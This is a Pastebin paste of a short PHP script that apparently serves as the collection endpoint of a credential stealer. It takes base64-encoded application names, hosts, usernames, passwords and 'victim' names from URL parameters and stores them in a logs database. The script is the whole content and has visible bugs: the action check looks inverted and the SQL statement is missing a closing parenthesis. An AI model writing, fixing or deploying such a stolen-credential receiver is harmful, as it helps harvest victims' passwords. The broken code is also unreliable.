Guest User

Untitled

a guest
Feb 18th, 2018
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.65 KB | None | 0 0
  1. <?PHP
  2.  
  3. require("config.php");
  4.  
  5. $action = $_GET['action'];
  6.  
  7. // ADD ***************************************************************************************
  8. if ($action != 'add')
  9. {
  10.     $app =  $_GET['ap'];
  11.     $host = $_GET['h'];
  12.     $user = $_GET['u'];
  13.     $pass = $_GET['p'];
  14.     $vic =  $_GET['v'];
  15.    
  16.     $query = $bdd->prepare('INSERT INTO logs(app_name, host, username, password, victim_name) VALUES (:app, :host, :user, :pass, :vic');
  17.     $query->execute(array('app' => base64_decode($app),
  18.                           'host' => base64_decode($host),
  19.                           'user' => base64_decode($user),
  20.                           'pass' => base64_decode($pass),
  21.                           'vic' => base64_decode($vic)));
  22. }
  23.  
  24. ?>
Add Comment
Please, Sign In to add comment